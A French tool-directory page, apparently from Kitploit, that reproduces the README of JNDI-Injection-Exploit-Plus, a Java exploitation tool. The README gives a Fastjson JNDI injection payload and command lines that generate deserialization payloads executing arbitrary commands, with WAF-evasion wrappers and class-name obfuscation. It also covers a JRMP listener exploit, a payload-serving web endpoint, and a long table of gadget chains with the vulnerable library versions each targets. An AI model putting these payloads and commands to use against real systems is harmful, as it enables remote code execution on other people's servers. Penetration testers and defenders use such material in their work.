Répertoire d'outils
Catégories
JNDI-Injection-Exploit-Plus — Génère des liens d'injection JNDI exploitables et des charges utiles de désérialisation avec plus de 80 gadgets, prenant en charge les serveurs RMI, LDAP et HTTP pour les tests de vulnérabilité automatisés. | Kitploit
Outils / GitHub / cckuailong / jndi-injection-exploit-plus
cckuailong/jndi-injection-exploit-plus JNDI-Injection-Exploit-Plus Génère des liens d'injection JNDI exploitables et des charges utiles de désérialisation avec plus de 80 gadgets, prenant en charge les serveurs RMI, LDAP et HTTP pour les tests de vulnérabilité automatisés.
880 114 4 il y a 2 ansDécouvrez les outils les plus utilisés par notre communauté.
7 derniers jours 30 derniers jours
JNDI-Injection-Exploit-Plus
中文 README
Description
JNDI-Injection-Exploit-Plus est un outil permettant de générer des liens JNDI fonctionnels et de fournir des services d'arrière-plan en démarrant un serveur RMI, un serveur LDAP et un serveur HTTP.
En utilisant cet outil, vous pouvez obtenir des liens JNDI que vous pouvez insérer dans votre POC pour tester la vulnérabilité.
Par exemple, voici un vul-poc Fastjson :
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}
Nous pouvons remplacer "rmi://127.0.0.1:1099/Object" par le lien généré par JNDI-Injection-Exploit-Plus pour tester la vulnérabilité.
De plus, vous pouvez également utiliser JNDI-Injection-Exploit-Plus pour générer des payloads de type base64/hex , comme ysoserial .
JNDI-Injection-Exploit est un excellent outil ; voici sa version améliorée.
En plus
1. Plus de gadgets de référence distante JNDI (total : 3)
2. Plus de gadgets de référence locale JNDI (total : 4) Charge utile auteur dépendances Tomcat 8+ ou SpringBoot @welk1n trustURLCodebase est false mais Tomcat 8+ ou SpringBoot 1.2.x+ est dans le classpath Groovy (GroovyClassLoader) @cckuailong trustURLCodebase est false mais Tomcat et Groovy sont dans le classpath Groovy (GroovyShell) @cckuailong trustURLCodebase est false mais Tomcat et Groovy sont dans le classpath Websphere Readfile @cckuailong trustURLCodebase est false mais WebSphere v6-v9 est dans le classpath
3. Gadgets de désérialisation (total : 75) P.S. Plus de gadgets (⬆️) que ysoserial, bienvenue pour proposer une PR ! ^_^
payload auteur dépendances AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2 BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5 C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11 C3P0Tomcat @yulegeyu tomcat, com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11 Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0 Clojure @JackOfMostTrades clojure:1.8.0 Coherence1 ⬆️ @cckuailong coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 Coherence2 ⬆️ @cckuailong coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 Coherence3 ⬆️ @cckuailong coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 Coherence4 ⬆️ @cckuailong coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 Coherence5 ⬆️ @cckuailong coherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 Coherence6 ⬆️ @cckuailong coherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 CommonsBeanutils1 @frohoff commons-beanutils:1.9.2 CommonsBeanutils2 ⬆️ @cckuailong commons-beanutils:1.9.2 CommonsCollections1 @frohoff commons-collections:3.1 CommonsCollections1_1 ⬆️ @cckuailong commons-collections:3.1 CommonsCollections2 @frohoff commons-collections4:4.0 CommonsCollections2_1 ⬆️ @cckuailong commons-collections4:4.0 CommonsCollections3 @frohoff commons-collections:3.1 CommonsCollections3_1 ⬆️ @cckuailong commons-collections:3.1 CommonsCollections4 @frohoff commons-collections4:4.0 CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1 CommonsCollections5_1 ⬆️ @cckuailong commons-collections:3.1
4. Générer et exporter des payloads Vous pouvez générer les payloads de désérialisation avec une sortie de type Base64 ou HEX.
5. Wrapper Quelques wrappers pour encapsuler les données de désérialisation.
Wrapper Exemples de vulnérabilités Xstream CVE-2021-39149 Apereo Apereo 4.1 Désérialisation RCE JbossRemoting Jboss Remoting Port Unserialization Gzip Certaines interfaces Yonyou utilisent Gzip Dirty Insère beaucoup de données sales pour contourner le WAF
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream
6. Fusion Cacher le nom de la classe pour contourner le WAF.
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F
Service web pour renvoyer des gadgets de désérialisation java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar
POST /deserial/{Gadget}
cmd={command}&wrapper={wrapper}output={base64/hex}
P.S. Les paramètres wrapper et output sont optionnels.
Utilisation
Liens JNDI $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [commande] [-A] [adresse]
-C - commande exécutée dans le fichier de classe distant.
(optionnel, la commande par défaut est "open /Applications/Calculator.app")
-A - l'adresse de votre serveur, qui peut être une adresse IP ou un nom de domaine.
(optionnel, l'adresse par défaut est celle de la première interface réseau)
Assurez-vous que les ports de votre serveur (1099 , 1389 , 8180 ) sont disponibles.
ou vous pouvez modifier le port par défaut dans la classe run.ServerStart.
Votre commande est passée à Runtime.getRuntime().exec() comme paramètres,
donc vous devez vous assurer que votre commande est fonctionnelle dans la méthode exec().
Les commandes bash comme "bash -c ..." nécessitent l'ajout de guillemets doubles.
Payloads de désérialisation $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [commande] [-D] [Gadget] [-O] [base64/hex]
-C - commande exécutée dans le fichier de classe distant.
(optionnel, la commande par défaut est "open /Applications/Calculator.app")
-D - le nom du gadget de désérialisation.
-O - (Optionnel) le type de sortie de la désérialisation, par défaut base64.
Exploits de désérialisation
JRMP java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
Exemples
Liens JNDI
Démarrez l'outil comme ceci :
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
Capture d'écran :
Supposons que nous injections les liens JNDI (par exemple, rmi://ADDRESS/remoteExploit8 généré à l'étape 1) dans une application vulnérable pouvant être attaquée par injection JNDI.
Dans cet exemple, cela ressemble à ceci :
class Test{
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
}
}
puis, lorsque nous exécutons ce code, la commande sera exécutée,
et le journal sera affiché dans le terminal :
Payloads de désérialisation $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
Résultat de sortie Base64 :
Installation Nous pouvons choisir l'une des deux méthodes pour obtenir le jar.
Téléchargez le dernier jar depuis Realease .
Clonez le code source en local et compilez (nécessite Java 1.8+ et Maven 3.x+).
$ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
$ cd JNDI-Injection-Exploit-Plus
$ mvn clean package -DskipTests
P.S. ‼️ Si vous obtenez une erreur du type "java.rmi.xxx does not exists", vous devez définir la variable d'environnement JAVA_HOME.
Avertissement Toutes les informations et tout le code sont fournis uniquement à des fins éducatives et/ou pour tester vos propres systèmes pour ces vulnérabilités.
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections6_1 ⬆️ @cckuailong commons-collections:3.1
CommonsCollections6_2 ⬆️ @cckuailong commons-collections:3.1
CommonsCollections6_3 ⬆️ @cckuailong commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
CommonsCollections7_1 ⬆️ @cckuailong commons-collections:3.1
CommonsCollections8 ⬆️ @cckuailong commons-collections4:4.0
CommonsCollections9 ⬆️ @cckuailong commons-collections:3.2.1
CommonsCollections10 ⬆️ @cckuailong commons-collections:3.2.1
CommonsCollections11 ⬆️ @cckuailong commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Jackson ⬆️ @y4er com.fasterxml.jackson.core:jackson-databind:2.14.2
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient2 ⬆️ @cckuailong
JRMPClient3 ⬆️ @cckuailong
JRMPClient4 ⬆️ @cckuailong
JRMPClient5 ⬆️ @cckuailong
JRMPClient6 ⬆️ @cckuailong
JSON1 @mbechler json-lib🫙jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
ROME2 ⬆️ @firebasky rome:1.0
Scala1 ⬆️ @jarij org.scala-lang:scala-library:2.13.x
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
Spring3 ⬆️ @cckuailong spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
URLDNS @gebl détection de vulnérabilité jre uniquement
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Weblogic1 ⬆️ @cckuailong weblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic2 ⬆️ @cckuailong weblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic3 ⬆️ @cckuailong com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager
Weblogic4 ⬆️ @cckuailong weblogic.common.internal.WLObjectOutputStream
Weblogic5 ⬆️ @cckuailong weblogic:12.2.1.4, coherence
Weblogic6 ⬆️ @cckuailong weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic7 ⬆️ @cckuailong weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic8 ⬆️ @cckuailong weblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic9 ⬆️ @cckuailong weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic10 ⬆️ @cckuailong weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic11 ⬆️ @cckuailong weblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
WildFly1 ⬆️ @hugow org.wildfly:wildfly-connector:26.0.1.Final